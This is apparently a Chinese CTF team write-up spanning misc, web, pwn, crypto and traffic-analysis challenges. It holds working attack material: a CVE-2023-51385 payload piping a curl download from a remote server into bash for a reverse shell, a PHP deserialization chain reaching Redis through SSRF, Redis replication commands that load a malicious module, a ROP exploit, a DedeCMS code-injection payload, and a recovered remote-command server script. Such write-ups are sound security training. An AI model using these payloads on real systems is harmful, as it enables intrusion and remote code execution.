Misc

谁偷吃了我的外卖

文件尾一个zip,提取出来一眼丁真,文件名的后面是4个base64字符,写脚本提取一下

import zipfile

with zipfile.ZipFile('外卖箱.zip', 'r') as zip_file:
    file_names = zip_file.namelist()

    for file_name in file_names:
        utf8_file_name = file_name.encode('cp437').decode('gbk')

        print(utf8_file_name[6:-3])

然后拼接

f = open("1.txt").readlines()

data = [""]*20000
for i in f:
    ii = i.split('_')
    data[int(ii[0])] = ii[1].strip()
print("".join(data))

然后base64换表

import base64

import string

str1 = "UEsDBBQAAAAIAEVSIlgh03Nsb......AK1+AAAAAA=="  # 密码

string1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789/-"  # 被修改后的码表

string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"  # 正常的码表

print(base64.b64decode(str1.translate(str.maketrans(string1, string2))).hex())

里面得到的东西直接拿来明文攻击,照着钥匙.png配置,使用bandizip压缩

然后拼接两段flag即可

modules

CVE-2023-51385,直接打就好了,github用不了用gitee

注意最后的.gitxxx那个文件里面的payload似乎不能有冒号斜杠之类的,会导致解析出问题

这里直接把反弹shell的命令写进index.html,然后vps在80端口开一个python的httpserver

然后payload如下

`curl xx.xx.xx.xx|bash`

直接就可以收到shell

明文混淆

先是明文攻击,直接google搜一下那个长度的license.txt,找到个一样的,但是crc不同,可能版本不一样,直接用他的头来明文攻击

                    GNU GENERAL PUBLIC LICENSE

然后拿到混淆的webshell没什么好说的,手解两层就好了

Web

ezezez_php

Poc类的getflag方法看了半天应该是不好触发,但是似乎可以用Er里的__set方法去读取一些东西,比如hint里的redis之类的

可以找到一条链子

Ha(__destruct()) --> Rd(__call) --> Er(__set)

exp:

 <?php

class Rd
{
    public $ending;
    public $cl;

    public $poc;

    public function __destruct()
    {
        echo "All matters have concluded"."</br>";
    }

    public function __call($name, $arg)
    {
        foreach ($arg as $key => $value) {

            if ($arg[0]['POC'] == "0.o") {
                $this->cl->var1 = "get";
            }
        }
    }
}

class Er
{
    public $symbol;
    public $Flag;

    public function __construct()
    {
        $this->symbol = True;
    }

    public function __set($name, $value)
    {   
        if (preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',base64_decode($this->Flag))){
               $value($this->Flag);
        }
    else {
    echo "NoNoNo,please you can look hint.php"."</br>";
    }
    }

}

class Ha
{
    public $start;
    public $start1;
    public $start2="o.0";

    public function __construct()
    {
        echo $this->start1 . "__construct" . "</br>";
    }

    public function __destruct()
    {
        if ($this->start2 === "o.0") {
            $this->start1->Love($this->start);
            echo "You are Good!"."</br>";
        }
    }
}

$a = new Rd();
$b = new Er();
$c = new Ha();
$b->Flag=base64_encode("dict://127.0.0.1:6379/info");
$a->cl=$b;
$c->start1=$a;
$c->start=array("POC"=>"0.o");

echo urlencode(serialize($c));

然后通过dict://127.0.0.1:6379/ping就知道内网的redis有未授权

直接主从复制

这篇文章讲了主从复制的手动触发方法

https://www.cnblogs.com/xiaozi/p/13089906.html

#设置redis的备份路径为当前目录
    config set dir /tmp
#设置备份文件名为exp.so,默认为dump.rdb
    config set dbfilename exp.so
#设置主服务器IP和端口
    slaveof 192.168.172.129 1234  
#加载恶意模块
    module load /tmp/exp.so
#切断主从,关闭复制功能
    slaveof no one 
#执行系统命令
    system.exec 'whoami'
    system.rev 127.0.0.1 9999    

直接一条条输入就完了,最后flag在env里

Pwn

nmanager

from pwn import *

#p = process("./nmanager")
p = remote("8.147.131.156", 19723)

p.sendlineafter(b'input password:',b'A' * 96 + b'check passed')

#gdb.attach(p)
#pause()

p.sendlineafter(b'modify ##',b'8')
p.sendafter(b'gender:',b'A' * 0x8)
p.sendlineafter(b'age:',b'4294967295')
p.sendafter(b'name',b'A' * 0x40)

#p.sendafter(b'(Y/y)',b'n\x00')

libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x29d90
success("libc:" + hex(libc_base))

pop_rdi = libc_base + 0x000000000002a3e5 
ret     = libc_base + 0x0000000000029cd6

system = libc_base + 0x000000000050d60
bin_sh = libc_base + 0x1D8698

p.sendafter(b'(Y/y)',b'n\x00')
p.sendlineafter(b'modify ##',b'8')
p.sendafter(b'gender:',b'A' * 0x8 + p64(libc_base + 0x0002a3e1))    #pop3
p.sendlineafter(b'age:',b'4294967295')

r = b''
r += p64(pop_rdi)
r += p64(bin_sh)
r += p64(ret)
r += p64(system)

p.sendafter(b'name',r)
p.sendafter(b'(Y/y)',b'y\x00')

p.interactive()

Crypto

CF is Crypto Faker

抽象,不好评价

from Crypto.PublicKey import RSA
from Crypto.Util.number import *
import gmpy2

e = 0x2c22193ad9abcca2f67552fc76dd07b3ef883f3d755c95119cdf82bb6a07c970fd37e582bb49250d8efaa29b8a59c82059165c654206a9d7261f6b45a90dc69
phi = 0x81c5f040bfaea676120cd62c36ba7afb303561504bbf8609afa3da60fb6202ca875b0bd2a06143ebcd16fa615557ff159d97909160d68e1938b3ecaf57709b3bb712fdcba325655f111918472d4353a66854ccda50b63a1047278c15a4b39cde898d054db87092958c7c05f8fa566dcd969b1ff4b7d1935c375a4af3bfc341b0
n = 0x81c5f040bfaea676120cd62c36ba7afb303561504bbf8609afa3da60fb6202ca875b0bd2a06143ebcd16fa615557ff159d97909160d68e1938b3ecaf57709b3d2698476b6dd203811b6a2ec6a6e2a7e213ab719bcd3ab49bb864b10e9c78ea3f501c0e2213dfe431043bb6f0cc2e8d77bfb43869b843af1a99ae81b87811e101
c1 = 0x29289e3d9275147b885b5061637564cbee3e4d9f48e52694e594f020e49da9b24d9246b2437fb2221fa86ca1a277f3fdd7ab5cad4738a02b66d47703ef816844a84c6c209c8251e8961c9ba2c791649e022627f86932d9700c3b1dc086e8b2747d0a5604955387a935464d3866dd4100b2f3d57603c728761d1d8ef7fdbdcbee
c2 = 0x2b0059f88454e0e36269c809b5d5b6b28e5bab3c87b20f9e55635239331100a0a582241e7a385034698b61ebf24b519e868617ff67974cc907cc61be38755737f9a6dbeb7890ff55550b1af1ecf635112fcaaa8b07a3972b3c6728cbcf2a3973a4d7bd92affec7e065e0ae83cd36858e6d983785a3668a8b82709d78a69796af
ciphertext = 0x775cbee546e7579f0a69645b59f72f5c8ff0c538dd9a6e755969dee2ffb8748073c089557801dfb8bfae15baba9a909f3addac142ad928ac7cc453c72166dda235128de12965df4308997416e054ab1ab9af55c60533c7374096aa2d05339900b3e14f7148930bf083eb1eb9fa22b9a997f85b39501d3a9bdfa08e3389b8f2fe

d = gmpy2.invert(e, phi)
m1 = pow(c1, d, n)
m2 = pow(c2, d, n)
m3 = pow(ciphertext, d, n)
print(long_to_bytes(m1))
print(long_to_bytes(m2))
print(long_to_bytes(m3))

not_wiener

起手打一个Boneh_Durfee's attack的板子,注意调整delta参数的值和格子的维数m

#sage
import time

############################################
# Config
##########################################

"""
Setting debug to true will display more informations
about the lattice, the bounds, the vectors...
"""
debug = True

"""
Setting strict to true will stop the algorithm (and
return (-1, -1)) if we don't have a correct
upperbound on the determinant. Note that this
doesn't necesseraly mean that no solutions
will be found since the theoretical upperbound is
usualy far away from actual results. That is why
you should probably use `strict = False`
"""
strict = False

"""
This is experimental, but has provided remarkable results
so far. It tries to reduce the lattice as much as it can
while keeping its efficiency. I see no reason not to use
this option, but if things don't work, you should try
disabling it
"""
helpful_only = True
dimension_min = 7 # stop removing if lattice reaches that dimension

############################################
# Functions
##########################################

# display stats on helpful vectors
def helpful_vectors(BB, modulus):
    nothelpful = 0
    for ii in range(BB.dimensions()[0]):
        if BB[ii,ii] >= modulus:
            nothelpful += 1

    print(nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")

# display matrix picture with 0 and X
def matrix_overview(BB, bound):
    for ii in range(BB.dimensions()[0]):
        a = ('%02d ' % ii)
        for jj in range(BB.dimensions()[1]):
            a += '0' if BB[ii,jj] == 0 else 'X'
            if BB.dimensions()[0] < 60:
                a += ' '
        if BB[ii, ii] >= bound:
            a += '~'
        print(a)

# tries to remove unhelpful vectors
# we start at current = n-1 (last vector)
def remove_unhelpful(BB, monomials, bound, current):
    # end of our recursive function
    if current == -1 or BB.dimensions()[0] <= dimension_min:
        return BB

    # we start by checking from the end
    for ii in range(current, -1, -1):
        # if it is unhelpful:
        if BB[ii, ii] >= bound:
            affected_vectors = 0
            affected_vector_index = 0
            # let's check if it affects other vectors
            for jj in range(ii + 1, BB.dimensions()[0]):
                # if another vector is affected:
                # we increase the count
                if BB[jj, ii] != 0:
                    affected_vectors += 1
                    affected_vector_index = jj

            # level:0
            # if no other vectors end up affected
            # we remove it
            if affected_vectors == 0:
                print("* removing unhelpful vector", ii)
                BB = BB.delete_columns([ii])
                BB = BB.delete_rows([ii])
                monomials.pop(ii)
                BB = remove_unhelpful(BB, monomials, bound, ii-1)
                return BB

            # level:1
            # if just one was affected we check
            # if it is affecting someone else
            elif affected_vectors == 1:
                affected_deeper = True
                for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
                    # if it is affecting even one vector
                    # we give up on this one
                    if BB[kk, affected_vector_index] != 0:
                        affected_deeper = False
                # remove both it if no other vector was affected and
                # this helpful vector is not helpful enough
                # compared to our unhelpful one
                if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
                    print("* removing unhelpful vectors", ii, "and", affected_vector_index)
                    BB = BB.delete_columns([affected_vector_index, ii])
                    BB = BB.delete_rows([affected_vector_index, ii])
                    monomials.pop(affected_vector_index)
                    monomials.pop(ii)
                    BB = remove_unhelpful(BB, monomials, bound, ii-1)
                    return BB
    # nothing happened
    return BB

"""
Returns:
* 0,0   if it fails
* -1,-1 if `strict=true`, and determinant doesn't bound
* x0,y0 the solutions of `pol`
"""
def boneh_durfee(pol, modulus, mm, tt, XX, YY):
    """
    Boneh and Durfee revisited by Herrmann and May

    finds a solution if:
    * d < N^delta
    * |x| < e^delta
    * |y| < e^0.5
    whenever delta < 1 - sqrt(2)/2 ~ 0.292
    """

    # substitution (Herrman and May)
    PR.<u, x, y> = PolynomialRing(ZZ)
    Q = PR.quotient(x*y + 1 - u) # u = xy + 1
    polZ = Q(pol).lift()

    UU = XX*YY + 1

    # x-shifts
    gg = []
    for kk in range(mm + 1):
        for ii in range(mm - kk + 1):
            xshift = x^ii * modulus^(mm - kk) * polZ(u, x, y)^kk
            gg.append(xshift)
    gg.sort()

    # x-shifts list of monomials
    monomials = []
    for polynomial in gg:
        for monomial in polynomial.monomials():
            if monomial not in monomials:
                monomials.append(monomial)
    monomials.sort()

    # y-shifts (selected by Herrman and May)
    for jj in range(1, tt + 1):
        for kk in range(floor(mm/tt) * jj, mm + 1):
            yshift = y^jj * polZ(u, x, y)^kk * modulus^(mm - kk)
            yshift = Q(yshift).lift()
            gg.append(yshift) # substitution

    # y-shifts list of monomials
    for jj in range(1, tt + 1):
        for kk in range(floor(mm/tt) * jj, mm + 1):
            monomials.append(u^kk * y^jj)

    # construct lattice B
    nn = len(monomials)
    BB = Matrix(ZZ, nn)
    for ii in range(nn):
        BB[ii, 0] = gg[ii](0, 0, 0)
        for jj in range(1, ii + 1):
            if monomials[jj] in gg[ii].monomials():
                BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU,XX,YY)

    # Prototype to reduce the lattice
    if helpful_only:
        # automatically remove
        BB = remove_unhelpful(BB, monomials, modulus^mm, nn-1)
        # reset dimension
        nn = BB.dimensions()[0]
        if nn == 0:
            print("failure")
            return 0,0

    # check if vectors are helpful
    if debug:
        helpful_vectors(BB, modulus^mm)

    # check if determinant is correctly bounded
    det = BB.det()
    bound = modulus^(mm*nn)
    if det >= bound:
        print("We do not have det < bound. Solutions might not be found.")
        print("Try with highers m and t.")
        if debug:
            diff = (log(det) - log(bound)) / log(2)
            print("size det(L) - size e^(m*n) = ", floor(diff))
        if strict:
            return -1, -1
    else:
        print("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")

    # display the lattice basis
    if debug:
        matrix_overview(BB, modulus^mm)

    # LLL
    if debug:
        print("optimizing basis of the lattice via LLL, this can take a long time")

    BB = BB.LLL()

    if debug:
        print("LLL is done!")

    # transform vector i & j -> polynomials 1 & 2
    if debug:
        print("looking for independent vectors in the lattice")
    found_polynomials = False

    for pol1_idx in range(nn - 1):
        for pol2_idx in range(pol1_idx + 1, nn):
            # for i and j, create the two polynomials
            PR.<w,z> = PolynomialRing(ZZ)
            pol1 = pol2 = 0
            for jj in range(nn):
                pol1 += monomials[jj](w*z+1,w,z) * BB[pol1_idx, jj] / monomials[jj](UU,XX,YY)
                pol2 += monomials[jj](w*z+1,w,z) * BB[pol2_idx, jj] / monomials[jj](UU,XX,YY)

            # resultant
            PR.<q> = PolynomialRing(ZZ)
            rr = pol1.resultant(pol2)

            # are these good polynomials?
            if rr.is_zero() or rr.monomials() == [1]:
                continue
            else:
                print("found them, using vectors", pol1_idx, "and", pol2_idx)
                found_polynomials = True
                break
        if found_polynomials:
            break

    if not found_polynomials:
        print("no independant vectors could be found. This should very rarely happen...")
        return 0, 0

    rr = rr(q, q)

    # solutions
    soly = rr.roots()

    if len(soly) == 0:
        print("Your prediction (delta) is too small")
        return 0, 0

    soly = soly[0][0]
    ss = pol1(q, soly)
    solx = ss.roots()[0][0]

    #
    return solx, soly

def example():
    ############################################
    # How To Use This Script
    ##########################################

    #
    # The problem to solve (edit the following values)
    #

    # the modulus
    N = 

    # the public exponent
    e = 

    # the hypothesis on the private exponent (the theoretical maximum is 0.292)
    delta = 0.28 # this means that d < N^delta

    #
    # Lattice (tweak those values)
    #

    # you should tweak this (after a first run), (e.g. increment it until a solution is found)
    m = 8 # size of the lattice (bigger the better/slower)

    # you need to be a lattice master to tweak these
    t = int((1-2*delta) * m)  # optimization from Herrmann and May
    X = 2*floor(N^delta)  # this _might_ be too much
    Y = floor(N^(1/2))    # correct if p, q are ~ same size

    #
    # Don't touch anything below
    #

    # Problem put in equation
    P.<x,y> = PolynomialRing(ZZ)
    A = int((N+1)/2)
    pol = 1 + x * (A + y)

    #
    # Find the solutions!
    #

    # Checking bounds
    if debug:
        print("=== checking values ===")
        print("* delta:", delta)
        print("* delta < 0.292", delta < 0.292)
        print("* size of e:", int(log(e)/log(2)))
        print("* size of N:", int(log(N)/log(2)))
        print("* m:", m, ", t:", t)

    # boneh_durfee
    if debug:
        print("=== running algorithm ===")
        start_time = time.time()

    solx, soly = boneh_durfee(pol, e, m, t, X, Y)

    # found a solution?
    if solx > 0:
        print("=== solution found ===")
        if False:
            print("x:", solx)
            print("y:", soly)

        d = int(pol(solx, soly) / e)
        print("private key found:", d)
    else:
        print("=== no solution was found ===")

    if debug:
        print("=== %s seconds ===" % (time.time() - start_time))

if __name__ == "__main__":
    example()

拿到a参数,后半段是共享k的DSA,简单推式子

$$s{1}k{1}=h{1}+xr{1}$$

$$as{2}k{1}+bs{2}=h{2}+xr_{2}$$

$$x=(r{2}s{1}-ar{1}s{2})^{-1}*(ah{1}s{2}+bs{1}s{2}-s{1}h{2})$$

exp:

from Crypto.Util.number import *
import gmpy2

d = 1493519932573300884636712093929290985070801830526216141153447882450934993737739146621
n = 98871082998654651904594468693622517613869880791884929588100914778964766348914919202255397776583412976785216592924335179128220634848871563960167726280836726035489482233158897362166942091133366827965811201438682117312550600943385153640907629347663140487841016782054145413246763816202055243693289693996466579973
e = 76794907644383980853714814867502708655721653834095293468287239735547303515225813724998992623067007382800348003887194379223500764768679311862929538017193078946067634221782978912767213553254272722105803768005680182504500278005295062173004098796746439445343896868825218704046110925243884449608326413259156482881
c = 13847199761503953970544410090850216804358289955503229676987212195445226107828814170983735135692611175621170777484117542057117607579344112008580933900051471041224296342157618857321522682033260246480258856376097987259016643294843196752685340912823459403703609796624411954082410762846356541101561523204985391564
a = pow(c,d,n)

p= 161310487790785086482919800040790794252181955976860261806376528825054571226885460699399582301663712128659872558133023114896223014064381772944582265101778076462675402208451386747128794418362648706087358197370036248544508513485401475977401111270352593919906650855268709958151310928767086591887892397722958234379
q= 1115861146902610160756777713087325311747309309771
g= 61073566757714587321114447684333928353300944355112378054603585955730395524359123615359185275743626350773632555967063692889668342544616165017003197599818881844811647270423070958521148291118914198811187731689123176313367399492561288350530256722898205674043032421874788802819858438796795768177550638273020791962
y= 23678147495254433946472657196764372220306841739888385605070426528738230369489739339976134564575544246606937803367113623097260181789372915552172469427842482448570540429192377881186772226796452797182435452490307834205012154495575570994963829345053331967442452842152258650027916313982835119514473311305158299360
(h1, r1, s1) = 535874494834828755542711401117152397489711233142, 117859946800380767356190121030392492081340616512, 26966646740134065096660259687229179143947213779
(h2, r2, s2) = 236574518096866758760287021848258048065293279716, 863199000523521111517835459866422731857447792677, 517924607931342012033031470185302567344725962419
b= 17474742587088593627

x = ((h1*s2*a+b*s1*s2-h2*s1)*(gmpy2.invert(s1*r2-r1*s2*a,q)))%q
print(long_to_bytes(x))

可信计算

传统艺能(

挑战题

勒索流量

蚁剑流量,简单解解base64

几个重要文件位置:

server.py: tcp.stream eq 49

s3cret.txt: tcp.stream eq 48

解一下base64在去掉后面的冗余数据

server.py如下

import socket
from Crypto.Cipher import ARC4
import base64
import os
import json
import hashlib

def calculate_md5(string):
    md5_hash = hashlib.md5()
    md5_hash.update(string.encode('utf-8'))
    md5_hex = md5_hash.hexdigest()
    return md5_hex

from Crypto.Cipher import ARC4
import base64
import json

with open("./s3creT.txt", "r") as f:
    key = f.read()
key = calculate_md5(key)

def rc4_encrypt(data, key1):
    key = bytes(key1, encoding='utf-8')
    enc = ARC4.new(key)
    res = enc.encrypt(data.encode('utf-8'))
    res = base64.b64encode(res)
    res = str(res, 'utf-8')
    return res

def rc4_decrypt(data, key1):
    data = base64.b64decode(data)
    key = bytes(key1, encoding='utf-8')
    enc = ARC4.new(key)
    res = enc.decrypt(data)
    res = str(res, 'gbk', errors='ignore')
    return res

def t1(data):
    import re
    from datetime import datetime, timedelta
    current_time = datetime.now()
    target_time = current_time.replace(second=0, microsecond=0)
    timestamp = int(target_time.timestamp())
    key1 = hex(timestamp)[2:].zfill(8)
    key1 = re.findall(r'.{2}', key1)
    key1 = [int(i, 16) for i in key1]
    data = list(data)
    for i in range(len(data)):
        data[i] = chr(ord(data[i]) ^ key1[i % 4])
    data = ''.join(data)
    return data

def decrypt(data, key):
    data = t1(data)
    data = rc4_decrypt(data, key)
    return data

def encrypt(data, key):
    data = rc4_encrypt(data, key)
    data = t1(data)

    return data

def system(cmd):
    res = os.popen(cmd).read()
    return res if res else "NoneResult"

def main():
    ip = '192.168.31.42'
    port = 8899
    socket_server = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
    socket_server.bind((ip, port))
    socket_server.listen(1)
    while True:
        conn, addr = socket_server.accept()
        with conn:
            print("connect::", addr)
            try:
                while True:
                    data = conn.recv(102400)
                    # print("server recevie peername and data:", conn.getpeername(), data.decode())
                    if data:
                        data = data.decode()
                        data = decrypt(data, key)
                        data = json.loads(data)
                        if data["opcode"] == "shell":
                            print("shellCMD::", data["msg"])
                            res = system(data["msg"])
                            print("res::", res)
                            conn.sendall(encrypt(res, key).encode())
                    else:
                        break
            except ConnectionResetError as e:
                print("远程连接断开")

if __name__ == '__main__':
    main()

简单看看就是rc4和与时间戳相异或一起用

直接连解密都给了,太贴心了

直接解密就好了

时间戳来自epoch time,由于秒数在这里是被删掉的,所以每分钟一变,需要对拿到的时间戳进行这样的处理

timestamp = timestamp - (timestamp % 60)

然后直接找发送或者接收端为8899的流量

tcp.srcport == 8899 or tcp.dstport == 8899

但是后来又换成了9999端口

tcp.srcport == 9999 or tcp.dstport == 9999

这里的流量传输是有一种特殊的编码方式的,忘了叫什么了,总之需要把流量里面多余的0xc2和0xc3去掉并且把0xc3后面的数据值+64

恢复原流量脚本:

text = bytes.fromhex(
    "16c3b2c295c3be04c29cc29fc3a90cc39ec2a3c39937c391c3a7c3811cc38bc3a0c39b29c29ac2b1c3b830c3b2c286c3a13cc38ac296c38d13c3a2c29dc3920bc3bac2a8c2bb22c29bc287c3a328c3afc29cc3bd27c390c3a6c38110c381c2a5c381")

i = 0
out = []
while i < len(text):
    if (text[i] == 194):
        out.append(text[i+1])
        i += 2
        continue

    elif (text[i] == 195):
        out.append(text[i+1]+64)
        i += 2
        continue

    else:
        out.append(text[i])
        i += 1
        continue
for i in out:
    print(hex(i)[2:].zfill(2), end='')

解密脚本:

import socket
from Crypto.Cipher import ARC4
import base64
import os
import json
import hashlib

def calculate_md5(string):
    md5_hash = hashlib.md5()
    md5_hash.update(string.encode('utf-8'))
    md5_hex = md5_hash.hexdigest()
    return md5_hex

key = calculate_md5("R@ns0mwar3_V1ru5")

def rc4_encrypt(data, key1):
    key = bytes(key1, encoding='utf-8')
    enc = ARC4.new(key)
    res = enc.encrypt(data.encode('utf-8'))
    res = base64.b64encode(res)
    res = str(res, 'utf-8')
    return res

def rc4_decrypt(data, key1):
    data = base64.b64decode(data)
    key = bytes(key1, encoding='utf-8')
    enc = ARC4.new(key)
    res = enc.decrypt(data)
    res = str(res, 'gbk', errors='ignore')
    return res

def t1(data):
    import re
    from datetime import datetime, timedelta
    current_time = datetime.now()
    print(current_time)
    target_time = current_time.replace(second=0, microsecond=0)
    timestamp = int(target_time.timestamp())
    timestamp = 1705562630
    timestamp = timestamp - (timestamp % 60) + 180
    key1 = hex(timestamp)[2:].zfill(8)
    key1 = re.findall(r'.{2}', key1)
    print(key1)
    key1 = [int(i, 16) for i in key1]
    data = list(data)
    for i in range(len(data)):
        data[i] = chr(data[i] ^ key1[i % 4])
    data = "".join(data)
    print(data)
    return data

def decrypt(data, key):
    data = t1(data)
    data = rc4_decrypt(data, key)
    return data

data = bytes.fromhex(
    "16f295fe049c9fe90cdea3d937d1e7c11ccbe0db299ab1f830f286e13cca96cd13e29dd20bfaa8bb229b87e328ef9cfd27d0e6c110c1a5c1")
print(decrypt(data, key))

ezdede

结合了两个老洞居然给过了(

http://www.manongjc.com/detail/60-vouyrsakkeungdm.html

这篇是洞

https://zhuanlan.zhihu.com/p/637246613

这篇过waf

结合一下,payload如下

{dede:field name='source' runphp='yes'}(s.y.s.t.e.m)('cat /flag');{/dede:field}

hint给的弱口令admin/admin@123

直接进后台往默认模板管理-->index.html里一插

回到主页,头上就有flag了